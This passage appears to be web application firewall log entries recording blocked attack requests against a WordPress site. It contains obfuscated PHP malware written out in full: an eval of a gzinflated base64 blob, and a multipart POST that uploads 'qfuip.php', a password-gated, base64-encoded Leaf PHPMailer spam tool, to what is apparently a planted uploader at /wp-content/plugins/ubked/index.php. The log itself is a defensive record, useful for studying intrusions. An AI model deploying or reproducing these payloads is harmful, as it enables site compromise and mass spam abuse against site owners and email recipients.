MN3Y2T3MrbXNIWWdVQWdHeTBuT3VPTzZSaDdJbURuaGV5Rnc0a204RU1rME1mKzdoUGorTVQyUm5rTTJDMzBnYVZIUWZPT1JtNHJwMVp3QUd2TGpyZXN1cnR3NHZVK1Zla1R1UzF4SEV5cERUOG5GQmNlY0ZtQkVUMTl6K1krRll0MGYrcGwrd05Ta2h1SVd1MU5nNlA4MFZEcHZBZjJQSCtwZzZZV1dtcFdLazNYOHJXZEl3RkxLQ2RHcE81dStlUG85TmcwemxOOWtybHBPckdpUE9MalZkTW5RYWVnenp2U0VBaUpMZjd6OTViQzNZRjBFQlBuWmxuR0p4eEllQWYvOHlCbkc2M0t5TzE2Z0V4eWRQamZ5ekFNWUg1NEJGT0JiN1pqdDZYeWNZUlovTmtCSFRTMUVSelJKVUpXTlhFZWhxdmtkSjFPUGtFc1RiU2hZSmZ6MTBkeXhId0ZRc3llN295emE4VlFMRTlwTWJNa0FtVmRoY3FPZGJiVlNKME5RcmpBR1c3VC9nQXFEb3dzRnNTQTdoSkJvWGVmTDRuMkFwZ0JkbmJCVm1HaEphOHBCQkU1STl0bWJiaDVlRWFyVjFLcVluZUF4T1VSU0dQSEFBdlMvV0dENU16VCtCL2lSaEE5Ym1MQkExYmhHQzRQMlI3ZVpidXdOcVI2aHNXdUtKNS9nUmwrWkJQUnpnTmlhdE54eXZkZHRROTNLWGE5b3lic280bVFnRlM1YlA1VEFMWUVYSWlnYmdKaHVpcFFpR1FhU1dOLzJOQlB4N25WMW5wb0JXL0VsK2dBRHJmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--8fa4a4cea5dc8de6307b186b1778e10e\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--8fa4a4cea5dc8de6307b186b1778e10e--\r\n"]
["2026-04-14 09:08:23","74.208.137.156","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\ncontent-length:222320\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=24b40b680de8f08434794288585b6b75\npriority:u=0, i\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-site:same-origin\n\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--24b40b680de8f08434794288585b6b75\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"qfuip.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlb